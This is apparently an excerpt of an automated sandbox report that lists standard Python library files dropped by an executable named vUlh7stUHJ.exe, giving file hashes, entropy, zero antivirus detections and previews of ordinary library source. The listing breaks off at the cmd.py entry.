Preview:	o.........Sg.g.......................@...sD...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.e.j.Z.W.n...e.yQ......d.Z.e.j.Z.Y.n.w.z.d.d.l.Z.W.n...e.yc......d.Z.Y.n.w.z.d.d.l.Z.W.n...e.yu......d.Z.Y.n.w.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e...Z.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%d.Z&d.Z'd.Z(e..)e'..Zd.Z+d.Z,d.Z-d.Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6e..)e5..Z7d.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDd.ZEd.ZFd ZGd!ZHd"ZId#ZJd$ZKd%ZLe..)eK..ZMd.ZNd.ZOd.ZPd.ZQd.ZRd.ZSd.ZTd.ZUd.ZVd.ZWd.ZXd.ZYd&ZZd'Z[e..)eZ..Z\d(Z]d)Z^e..)e]..Z_d.Z`d.Zad.Zbd.Zcd.Zdd.Zed.Zfd.Zgd.Zhd.ZidZje..kd+..Zld,d-..Zmd.d/..Znd0d1..Zod2d3..Zpd4d5..ZqG.d6d7..d7er..Zsd.atd8d9..Zud:d;..ZvG.d<d=..d=..ZwG.d>d?..d?..Zxi.d.d@..d.dA..d.dB..d.dB..d.dB..d.dB..d.dC..d.dD..d.dE..d.dF..d.dC..d.dG..d.dH..d#dI..dJdK..dLdM..dNdO..ZydPdQ..ZzdsdRdS..Z{dTdU..Z\|G.dVdW..dW..Z}G.dXdY..dY..Z~G.dZd[..d[e.j...Z.G.d\d]..d]e.j...Z.G.d^d_..d_..Z.

C:\recover\pw\Lib\abc.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6710
Entropy (8bit):	4.481959964393442
Encrypted:	false
SSDEEP:	192:gPAaxlPl/yqe//e/2Dkpps4BWt3O0Tml91BbnTLikZOz9Cj9bObNbYGO7U:gPAaxlP1u9kU+0TmnTLikZW9CxbOJbYQ
MD5:	3A8E484DC1F9324075F1E574D7600334
SHA1:	D70E189BA3A4CF9BEA21A1BBC844479088BBD3A0
SHA-256:	A63DE23D93B7CC096AE5DF79032DC2E12778B134BB14F7F40AC9A1F77F102577
SHA-512:	2C238B25DD1111EE37A3D7BF71022FE8E6C1D7ECE86B6BBDFA33EE0A3F2A730590FE4BA86CC88F4194D60F419F0FEF09776E5ECA1C473D3F6727249876F00441
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	# Copyright 2007 Google, Inc. All Rights Reserved...# Licensed to PSF under a Contributor Agreement....."""Abstract Base Classes (ABCs) according to PEP 3119."""......def abstractmethod(funcobj):.. """A decorator indicating abstract methods..... Requires that the metaclass is ABCMeta or derived from it. A.. class that has a metaclass derived from ABCMeta cannot be.. instantiated unless all of its abstract methods are overridden... The abstract methods can be called using any of the normal.. 'super' call mechanisms. abstractmethod() may be used to declare.. abstract methods for properties and descriptors..... Usage:.... class C(metaclass=ABCMeta):.. @abstractmethod.. def my_abstract_method(self, ...):.. ..... """.. funcobj.__isabstractmethod__ = True.. return funcobj......class abstractclassmethod(classmethod):.. """A decorator indicating abstract classmethods..... Deprecated, use 'classmethod' with 'ab

C:\recover\pw\Lib\aifc.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	33552
Entropy (8bit):	4.4638619417349945
Encrypted:	false
SSDEEP:	384:Ob3TMIq3JHejezqFTYQjJFUT2uXUmwlKje3W73igkZIS3WXpRY:4MHpejezqF0gAT2u/NK3W7Dk9cY
MD5:	BF5911BEAF58D01F1317D4416B929EED
SHA1:	4D6191C34468BCDEDBDFF0CFE1EB7F44A83BAB27
SHA-256:	2EFBA033EF47B3E19DBCDCB6762B9B49AB1982EAE3B9D649548D15AFADC78DAF
SHA-512:	B88E727115CEFDFD31498370DACD7FF3ADBF3BD511B06367CB6A9513B5419A6B1A2A83822561E11BF6B41BC6A7AFED4ACBFC542F18CAFE18E741E576380E234D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	"""Stuff to parse AIFF-C and AIFF files.....Unless explicitly stated otherwise, the description below is true..both for AIFF-C files and AIFF files.....An AIFF-C file has the following structure..... +-----------------+.. \| FORM \|.. +-----------------+.. \| <size> \|.. +----+------------+.. \| \| AIFC \|.. \| +------------+.. \| \| <chunks> \|.. \| \| . \|.. \| \| . \|.. \| \| . \|.. +----+------------+....An AIFF file has the string "AIFF" instead of "AIFC".....A chunk consists of an identifier (4 bytes) followed by a size (4 bytes,..big endian order), followed by the data. The size field does not include..the size of the 8 byte header.....The following chunk types are recognized..... FVER.. <version number of AIFF-C defining document> (AIFF-C only)... MARK.. <# of markers> (2 bytes).. list of markers:.. <marker ID> (2 bytes, must be > 0).. <position> (4 bytes).. <marker nam

C:\recover\pw\Lib\antigravity.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	517
Entropy (8bit):	5.2580863991460935
Encrypted:	false
SSDEEP:	12:HHoBI/BiIkjuVyGkjvluzAbx1uVEiE9rBX2y:HzJiOVyGkRuYSkVX2y
MD5:	3ED5C3D928783BE91A9C8FCA6BCB846E
SHA1:	2104F146AA389C6FC4BF172A082A711F9515A1EE
SHA-256:	2C4879A527D2F5D0E0F0D81837EEB8510E2F77FDF2BBB2688835732E699CCD6A
SHA-512:	2BC5200EF030A876C374AD3A31D189777C3C57759C6DB0BAB3C33265BB74ADD2FDDAAE20EDC646A7722386934D093C47C42CFC8AF24A5340C7D8D926A9D3505F
Malicious:	false
Preview:	..import webbrowser..import hashlib....webbrowser.open("https://xkcd.com/353/")....def geohash(latitude, longitude, datedow):.. '''Compute geohash() using the Munroe algorithm..... >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68').. 37.857713 -122.544543.... '''.. # https://xkcd.com/426/.. h = hashlib.md5(datedow, usedforsecurity=False).hexdigest().. p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])].. print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))..

C:\recover\pw\Lib\argparse.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	101137
Entropy (8bit):	4.306533315342896
Encrypted:	false
SSDEEP:	1536:g3gKb2hiBVRLsxQ4vu6ilEy14udYC91vhjJFGD8:gQKb2hiBVabu6ilEy14udx1vJJFGA
MD5:	5CDD2DD02315B6DD0F093C4D785E3D96
SHA1:	06057E30C7F3E7804070A90739C3577FFB9B5AD6
SHA-256:	D30F7E5CA4A44F7BA9F1626E984B7099B42FEB603B9BA8E31635D9C889793EC1
SHA-512:	10D6E90BC739158597CF8AEA1616D8B02C2B72AD8EFADE9B3668A952179CC2A9AB5B92EDECB174821556F52EA0A9081575C90D2016DBFF6175D1F3E0A0F2284D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	# Author: Steven J. Bethard <steven.bethard@gmail.com>...# New maintainer as of 29 August 2019: Raymond Hettinger <raymond.hettinger@gmail.com>...."""Command-line parsing library....This module is an optparse-inspired command-line parsing library that:.... - handles both optional and positional arguments.. - produces highly informative usage messages.. - supports parsers that dispatch to sub-parsers....The following is a simple usage example that sums integers from the..command-line and writes the result to a file::.... parser = argparse.ArgumentParser(.. description='sum the integers at the command line').. parser.add_argument(.. 'integers', metavar='int', nargs='+', type=int,.. help='an integer to be summed').. parser.add_argument(.. '--log', default=sys.stdout, type=argparse.FileType('w'),.. help='the file where the sum should be written').. args = parser.parse_args().. args.log.write('%s' % sum(args.integers)).. args.lo

C:\recover\pw\Lib\ast.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	61609
Entropy (8bit):	4.417126699054812
Encrypted:	false
SSDEEP:	1536:pZuW0/yNX9e8T1Y+XqfdAyr8+gliw1RaDh1:pZnMyNX9/qeyI+glN1s1
MD5:	38ECD2B58AF252AC5A2D14A5AC17333B
SHA1:	F5EC2EE9D098AF6432017029E2B14B0230581ADF
SHA-256:	A1D8E96B987376D7E0CE57587830EBAA7E06509EA528D666B409D5604D1EAA8D
SHA-512:	BACE88F6DA88662BBC5A49E6617478553C2FE287CE1D46CCA77483F63FBE82849EBA45824CEE7AA57FF4F820F1024E331AF51FE46E353535D9D68160DA424848
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	""".. ast.. ~~~.... The `ast` module helps Python applications to process trees of the Python.. abstract syntax grammar. The abstract syntax itself might change with.. each Python release; this module helps to find out programmatically what.. the current grammar looks like and allows modifications of it..... An abstract syntax tree can be generated by passing `ast.PyCF_ONLY_AST` as.. a flag to the `compile()` builtin function or by using the `parse()`.. function from this module. The result will be a tree of objects whose.. classes all inherit from `ast.AST`..... A modified abstract syntax tree can be compiled into a Python code object.. using the built-in `compile()` function..... Additionally various helper functions are provided that make working with.. the trees simpler. The main intention of the helper functions and this.. module in general is to provide an easy to use interface for libraries.. that work tightly with the python sy

C:\recover\pw\Lib\asynchat.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11835
Entropy (8bit):	4.533400669114703
Encrypted:	false
SSDEEP:	192:jrq3jJ1vi4b1/AwyG5XcoIhlJCmO7IDzAEyeWdm2aIb:fq3jJRthARG9comK7KzAEyeWdm4
MD5:	A089EF65FD800EEB88D57F8752C14409
SHA1:	31ADE2E4DEDE4D6B60CCA9A484858A5552A0E533
SHA-256:	8F64AACF08D17F0D9EE51BBB540A5D2662ACB0F7C68009E895AC39D8973039A4
SHA-512:	8D3DC6975E0DA00046C867E77D5C33D3197A7D4A5E5CECD43DC31B35C4D32B300BB3201A82AF4919A6A084A3540AD61DEC521DE7F405742BF6C323AA5047F6B9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	# -- Mode: Python; tab-width: 4 --..# Id: asynchat.py,v 2.26 2000/09/07 22:29:26 rushing Exp..# Author: Sam Rushing <rushing@nightmare.com>....# ======================================================================..# Copyright 1996 by Sam Rushing..#..# All Rights Reserved..#..# Permission to use, copy, modify, and distribute this software and..# its documentation for any purpose and without fee is hereby..# granted, provided that the above copyright notice appear in all..# copies and that both that copyright notice and this permission..# notice appear in supporting documentation, and that the name of Sam..# Rushing not be used in advertising or publicity pertaining to..# distribution of the software without specific, written prior..# permission...#..# SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,..# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN..# NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, IND

C:\recover\pw\Lib\asyncore.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20917
Entropy (8bit):	4.558999571418994
Encrypted:	false
SSDEEP:	192:zrq3jJ1mtqOelBAVAWAm8HA2F13/29sq98ousJ9/k/u6QkAl+o/T1E06xkScEu9n:vq3jJwtq9lAAFAWzi1BSBk5
MD5:	392F12822B5A0A36504480D5B7DFC034
SHA1:	9180B8AA149971D3F96C7343F01307E3092A8A59
SHA-256:	8045DAC420E2A61BBA0474613F93282912A521AADDC027589158459DA2092469
SHA-512:	29F03D5411E003EC617CCB1B925A5C578B4BCD77FD34B6DE16EA592047975EED8FEDECD1C7E86082D3817B0A522436E93DB846025C72B33BBA9472D79EDD0E67
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	# -- Mode: Python --..# Id: asyncore.py,v 2.51 2000/09/07 22:29:26 rushing Exp..# Author: Sam Rushing <rushing@nightmare.com>....# ======================================================================..# Copyright 1996 by Sam Rushing..#..# All Rights Reserved..#..# Permission to use, copy, modify, and distribute this software and..# its documentation for any purpose and without fee is hereby..# granted, provided that the above copyright notice appear in all..# copies and that both that copyright notice and this permission..# notice appear in supporting documentation, and that the name of Sam..# Rushing not be used in advertising or publicity pertaining to..# distribution of the software without specific, written prior..# permission...#..# SAM RUSHING DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,..# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN..# NO EVENT SHALL SAM RUSHING BE LIABLE FOR ANY SPECIAL, INDIRECT OR..# CONSEQUENT

C:\recover\pw\Lib\base64.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	21450
Entropy (8bit):	4.817384784161953
Encrypted:	false
SSDEEP:	384:j+uTwvnidNdYaBM+3m8dvd936r34MJIz5V1d:9EANdlBM+3m8dvd936kfz57d
MD5:	430BEF083EDC3857987FA9FDFAD40A1B
SHA1:	53BD3144F2A93454D747A765AC63F14056428A19
SHA-256:	2BDCB6D9EDFD97C91BC8AB325FCC3226C71527AA444ADB0A4ED70B60C18C388D
SHA-512:	7C1B8EA49BA078D051F6F21F99D8E51DC25F790E3DAFF63F733124FC7CF89417A75A8F4565029B1F2EB17F545250E1087F04ECB064022907D2D59F6430912B3A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /usr/bin/env python3...."""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""....# Modified 04-Oct-1995 by Jack Jansen to use binascii module..# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support..# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere....import re..import struct..import binascii......__all__ = [.. # Legacy interface exports traditional RFC 2045 Base64 encodings.. 'encode', 'decode', 'encodebytes', 'decodebytes',.. # Generalized interface for other encodings.. 'b64encode', 'b64decode', 'b32encode', 'b32decode',.. 'b32hexencode', 'b32hexdecode', 'b16encode', 'b16decode',.. # Base85 and Ascii85 encodings.. 'b85encode', 'b85decode', 'a85encode', 'a85decode',.. # Standard Base64 encoding.. 'standard_b64encode', 'standard_b64decode',.. # Some common Base64 alternatives. As referenced by RFC 3458, see thread.. # starting at:.. #.. # http://zgp.org/pipermail/p2p-hackers/2001-September/00

C:\recover\pw\Lib\bdb.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	33287
Entropy (8bit):	4.376029848133808
Encrypted:	false
SSDEEP:	384:jv2yeGid9OJ5zweRTWR8mQL+7bN3Lczaa7iXBW8wVdsF/isFuJQMFIqZ4F9bFxS:jvYVd9OH7s81+7xczaaeXkgwBqqZoS
MD5:	6C933F78BA56372D681B34FEEC71EEE5
SHA1:	BDC267A6CD41185C864E3594D6DBB5928F23910F
SHA-256:	B2FE296B24FAF056B199ECEFB3752088479C218429B9422D30E2E5C0CEF163A6
SHA-512:	028F20AF9575626691847B9882CAA9BAF7CD24C3E764CE66505173D2F904A422744247488540D895B797D51D7278C02C38310199E0C46F964B03061717762F7C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	"""Debugger basics"""....import fnmatch..import sys..import os..from inspect import CO_GENERATOR, CO_COROUTINE, CO_ASYNC_GENERATOR....__all__ = ["BdbQuit", "Bdb", "Breakpoint"]....GENERATOR_AND_COROUTINE_FLAGS = CO_GENERATOR \| CO_COROUTINE \| CO_ASYNC_GENERATOR......class BdbQuit(Exception):.. """Exception to give up completely."""......class Bdb:.. """Generic Python debugger base class..... This class takes care of details of the trace facility;.. a derived class should implement user interaction... The standard debugger class (pdb.Pdb) is an example..... The optional skip argument must be an iterable of glob-style.. module name patterns. The debugger will not step into frames.. that originate in a module that matches one of these patterns... Whether a frame is considered to originate in a certain module.. is determined by the __name__ in the frame globals... """.... def __init__(self, skip=None):.. self.skip = set(skip) if skip else None..

C:\recover\pw\Lib\binhex.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	15286
Entropy (8bit):	4.473768652352682
Encrypted:	false
SSDEEP:	384:ckFvMjtNaabEsUKEbyh8E3HggxlfCdchpgjTmMTJ+XI7hut:rvMjeCfgchpATmMTAXUhut
MD5:	5FC5580386DF83003AD1993BAC736976
SHA1:	3713A4E0B8CCD4BA68C90B0A2C9EB7FD45B6E901
SHA-256:	E2BE54DE2B60C5AE1097FDD617CFFA57543F0C27CBFCD35BED98056A8896112A
SHA-512:	E03BB610FAD318CEA0BD6325C3FC09E773C7A520B30D4B3FD9267479A25D92E7F55E007856B11C34857497296898AC3A8B1C0406AA07C456EFAF90AFB4E1F2F0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	"""Macintosh binhex compression/decompression.....easy interface:..binhex(inputfilename, outputfilename)..hexbin(inputfilename, outputfilename).."""....#..# Jack Jansen, CWI, August 1995...#..# The module is supposed to be as compatible as possible. Especially the..# easy interface should work "as expected" on any platform...# XXXX Note: currently, textfiles appear in mac-form on all platforms...# We seem to lack a simple character-translate in python...# (we should probably use ISO-Latin-1 on all but the mac platform)...# XXXX The simple routines are too simple: they expect to hold the complete..# files in-core. Should be fixed...# XXXX It would be nice to handle AppleDouble format on unix..# (for servers serving macs)...# XXXX I don't understand what happens when you get 0x90 times the same byte on..# input. The resulting code (xx 90 90) would appear to be interpreted as an..# escaped value of 0x90. All coders I've seen appear to ignore this nicety.....#..import binascii..import co

C:\recover\pw\Lib\bisect.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3245
Entropy (8bit):	4.315031092069688
Encrypted:	false
SSDEEP:	48:zPKqBnBS/P2bld2S/xu47KHBntS/cEmXNYldcS/Dsuz:rnBBSn2bySJu47MBtSEEmXNYwSbtz
MD5:	83E7F736E1877AF35CF077675DE88849
SHA1:	F4EC527F0164CA35653C546D20D78680E359AADA
SHA-256:	05D6B239EE3D6114A682AA9A5EFB8F8B315CCE6FC2A5D6F1147192AB5A044F44
SHA-512:	A511F888A7BE2D58846F9DF8694699638797151EA992A954F982761102BA8C6DB5794F4CCFA3C8F36C997FF349C2EC3482E0353A71D4564958C12BFD2093DDAD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	"""Bisection algorithms."""......def insort_right(a, x, lo=0, hi=None, , key=None):.. """Insert item x in list a, and keep it sorted assuming a is sorted..... If x is already in a, insert it to the right of the rightmost x..... Optional args lo (default 0) and hi (default len(a)) bound the.. slice of a to be searched... """.. if key is None:.. lo = bisect_right(a, x, lo, hi).. else:.. lo = bisect_right(a, key(x), lo, hi, key=key).. a.insert(lo, x)......def bisect_right(a, x, lo=0, hi=None, , key=None):.. """Return the index where to insert item x in list a, assuming a is sorted..... The return value i is such that all e in a[:i] have e <= x, and all e in.. a[i:] have e > x. So if x already appears in the list, a.insert(i, x) will.. insert just after the rightmost x already there..... Optional args lo (default 0) and hi (default len(a)) bound the.. slice of a to be searched... """.... if lo < 0:.. raise ValueError('

C:\recover\pw\Lib\bz2.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12191
Entropy (8bit):	4.488567907611872
Encrypted:	false
SSDEEP:	96:wzhNfE8LZDY+YEzU3/OF/q+FjqqxbWXVvScmwWa0r1LAd1ichQiilHfP6Qhc9O1O:KLrXX/q+FjZWq2Wan3oxc8NE0Bx4
MD5:	C7F6B929829D1196DFC6C59BFA8BE4D5
SHA1:	2B0A3AF1F680F8D70E05A25AA8552A47E5109F7D
SHA-256:	A539FC503737C53D5A45272E33A435B8A6B7A8559BA6A425002978038096BD66
SHA-512:	63BFA9AD43141C609436B928F7DEBB5477188F1E7B30EBD6D9CC5080DB6D10FBF4E94C25BEC3E2C7DC8677D7BCD537B93550324A08B5376FD9E35184A8517E3B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	"""Interface to the libbzip2 compression library.....This module provides a file interface, classes for incremental..(de)compression, and functions for one-shot (de)compression..."""....__all__ = ["BZ2File", "BZ2Compressor", "BZ2Decompressor",.. "open", "compress", "decompress"]....__author__ = "Nadeem Vawda <nadeem.vawda@gmail.com>"....from builtins import open as _builtin_open..import io..import os..import _compression....from _bz2 import BZ2Compressor, BZ2Decompressor......_MODE_CLOSED = 0.._MODE_READ = 1..# Value 2 no longer used.._MODE_WRITE = 3......class BZ2File(_compression.BaseStream):.... """A file object providing transparent bzip2 (de)compression..... A BZ2File can act as a wrapper for an existing file object, or refer.. directly to a named file on disk..... Note that BZ2File provides a binary file interface - data read is.. returned as bytes, and data to be written should be given as bytes... """.... def __init__(self, filename, mo

C:\recover\pw\Lib\cProfile.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6525
Entropy (8bit):	4.383466107396597
Encrypted:	false
SSDEEP:	192:GJRbR7raBofIUXCM/nRwcIxjZzxjl7ThaGDDj0:G/1CeIKZMZzxh7Nu
MD5:	E033728A638E731841FB31E026BF27F6
SHA1:	718766B787EE3EBD4627BB1EDEEEAFE328F9DF82
SHA-256:	8ED9EDFE153C6A3CCB3F0AAF1EBE57EE506DBDCF9ADC98063A9412B40AD78602
SHA-512:	34C9B6B2DA68028CB0242BB757604A6FF7FD2CD67534BFBC5D73282FD8043A92350E1D9E255BE064531D8F01E339F26EE983D1256293DEA48190AD76A6D0F20F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /usr/bin/env python3...."""Python interface for the 'lsprof' profiler... Compatible with the 'profile' module..."""....__all__ = ["run", "runctx", "Profile"]....import _lsprof..import profile as _pyprofile....# ____________________________________________________________..# Simple interface....def run(statement, filename=None, sort=-1):.. return _pyprofile._Utils(Profile).run(statement, filename, sort)....def runctx(statement, globals, locals, filename=None, sort=-1):.. return _pyprofile._Utils(Profile).runctx(statement, globals, locals,.. filename, sort)....run.__doc__ = _pyprofile.run.__doc__..runctx.__doc__ = _pyprofile.runctx.__doc__....# ____________________________________________________________....class Profile(_lsprof.Profiler):.. """Profile(timer=None, timeunit=None, subcalls=True, builtins=True).... Builds a profiler object using the specified timer function... The default timer is a fast built-in one based on r

C:\recover\pw\Lib\calendar.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	25334
Entropy (8bit):	4.630646062928224
Encrypted:	false
SSDEEP:	384:TyXrfTnK3ZC77ZRVBfdPRSEFsW8ehzEOPs7OKkmw3:TyXbTnK3Wfvf7SE+W8euOPs7g1
MD5:	BDF280E9D5F52895524695699119B833
SHA1:	B4AF7451AC4FD85D86C9262B44CA3C1072461B11
SHA-256:	36E622CAC77F97C83E44EEF3FF39B02DAF63B831E057679E1387F45B48C9BFBF
SHA-512:	FF884EB6927AB18BABD1B843FE6AAADC83A4F92E2606BC3B077D19729529C44C9C434A48323B2BAE20F255CE3609C89552FF335F03F1E21277F0E624AD1C0141
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	"""Calendar printing functions....Note when comparing these calendars to the ones printed by cal(1): By..default, these calendars have Monday as the first day of the week, and..Sunday as the last (the European convention). Use setfirstweekday() to..set the first day of the week (0=Monday, 6=Sunday)."""....import sys..import datetime..import locale as _locale..from itertools import repeat....__all__ = ["IllegalMonthError", "IllegalWeekdayError", "setfirstweekday",.. "firstweekday", "isleap", "leapdays", "weekday", "monthrange",.. "monthcalendar", "prmonth", "month", "prcal", "calendar",.. "timegm", "month_name", "month_abbr", "day_name", "day_abbr",.. "Calendar", "TextCalendar", "HTMLCalendar", "LocaleTextCalendar",.. "LocaleHTMLCalendar", "weekheader",.. "MONDAY", "TUESDAY", "WEDNESDAY", "THURSDAY", "FRIDAY",.. "SATURDAY", "SUNDAY"]....# Exception raised for bad input (with string parameter for details)..error = Valu

C:\recover\pw\Lib\cgi.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	35103
Entropy (8bit):	4.561073317486329
Encrypted:	false
SSDEEP:	768:HJv4jDz46jcJeYMs0s1mZrgmTJFg9kAQNM0KJkY:HB4A6jcV0swZrgIJFg9kAQNM0KJkY
MD5:	8F647F8C3398EF82CCDF1BFF189E5396
SHA1:	9B561E19C640AB1B6177FF15D3DB65AFAF5355CA
SHA-256:	38088BEE5D627AD53A309DC1E66997DA87FEB238A5473A24E8568589226CDD31
SHA-512:	C12A3E0F1A099E4600295013CDF1071AE455C25CFB69147336C1251B96FF104EDA88EF429C364D13950B0E1C950B00C664ED14BE84F03BB6CC8654B254E21C83
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /usr/local/bin/python....# NOTE: the above "/usr/local/bin/python" is NOT a mistake. It is..# intentionally NOT "/usr/bin/env python". On many systems..# (e.g. Solaris), /usr/local/bin is not in $PATH as passed to CGI..# scripts, and /usr/local/bin is the default directory where Python is..# installed, so /usr/bin/env would be unable to find python. Granted,..# binary installations by Linux vendors often install Python in..# /usr/bin. So let those vendors patch cgi.py to match their choice..# of installation....."""Support module for CGI (Common Gateway Interface) scripts.....This module defines a number of utilities for use by CGI scripts..written in Python..."""....# History..# -------..#..# Michael McLay started this module. Steve Majewski changed the..# interface to SvFormContentDict and FormContentDict. The multipart..# parsing was inspired by code submitted by Andreas Paepcke. Guido van..# Rossum rewrote, reformatted and documented the module and is currently..# respons

C:\recover\pw\Lib\cgitb.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12417
Entropy (8bit):	4.597855983527975
Encrypted:	false
SSDEEP:	384:Cs8wrqrtx1PM/iy/UOt+JeyDUMkJo/tXR:V8t14/N+JvxkJEVR
MD5:	96E289FA4C662E66654E57C8B7BCFCBA
SHA1:	941AD05DEEF8F2FA0D6FA425BB01D7EAD90DDCDA
SHA-256:	F0BC49E9C3410E447635E639E7C925298C063438E8243755084450963740BD8B
SHA-512:	2B5C269319F535017C5B0BB94E6C12F3C51FC6DCC9D9F2E960818D87E07FDB3D50B3E42FE1EB3364BF71ED8FF1FA730813104BAA2D3B50DDA23121654AF487F2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	"""More comprehensive traceback formatting for Python scripts.....To enable this module, do:.... import cgitb; cgitb.enable()....at the top of your script. The optional arguments to enable() are:.... display - if true, tracebacks are displayed in the web browser.. logdir - if set, tracebacks are written to files in this directory.. context - number of lines of source code to show for each stack frame.. format - 'text' or 'html' controls the output format....By default, tracebacks are displayed but not saved, the context is 5 lines..and the output format is 'html' (for backwards compatibility with the..original use of this module)....Alternatively, if you have caught an exception and want cgitb to display it..for you, call cgitb.handler(). The optional argument to handler() is a..3-item tuple (etype, evalue, etb) just like the value of sys.exc_info()...The default handler displays output as HTML....."""..import inspect..import keyword..import linecache

C:\recover\pw\Lib\chunk.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5604
Entropy (8bit):	4.3736641383152
Encrypted:	false
SSDEEP:	96:Or09dhcWG/Fu2EC6Gyk6h8zsGx/SAojX6wu/YBsrgS:OV40whqs06Dul1v
MD5:	9593CA4791DDE9A600B40AFE78A0A1D1
SHA1:	D17F6A3716407202553A1BED556096B965A47525
SHA-256:	F71F8B77021C6224A772C5F8C56041D5D114E78E099E315754E502257ADDE3EC
SHA-512:	EEB3A00A6773F19F1403E502DDC15177383B77D752213BE49ECE4EC1FEAE1CB80DBE0F958AA077DBCC7665A60FB522B57B807E079F73A0E6CC11202FEB1C3BF8
Malicious:	false
Preview:	"""Simple class to read IFF chunks.....An IFF chunk (used in formats such as AIFF, TIFF, RMFF (RealMedia File..Format)) has the following structure:....+----------------+..\| ID (4 bytes) \|..+----------------+..\| size (4 bytes) \|..+----------------+..\| data \|..\| ... \|..+----------------+....The ID is a 4-byte string which identifies the type of chunk.....The size field (a 32-bit value, encoded using big-endian byte order)..gives the size of the whole chunk, including the 8-byte header.....Usually an IFF-type file consists of one or more chunks. The proposed..usage of the Chunk class defined here is to instantiate an instance at..the start of each chunk and read from the instance until it reaches..the end, after which a new instance can be instantiated. At the end..of the file, creating a new instance will fail with an EOFError..exception.....Usage:..while True:.. try:.. chunk = Chunk(file).. except EOFError:.. break.. chunktype = chunk.get

C:\recover\pw\Lib\cmd.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	15261
Entropy (8bit):	4.215201021902796
Encrypted:	false
SSDEEP:	192:PL0k/Lx0tTb7zgerjv/DrjydCD1azzAr3hBaUcWkfN7XBT5FMk:PL07tTbnge/zrjOcuAr3hTctfNN
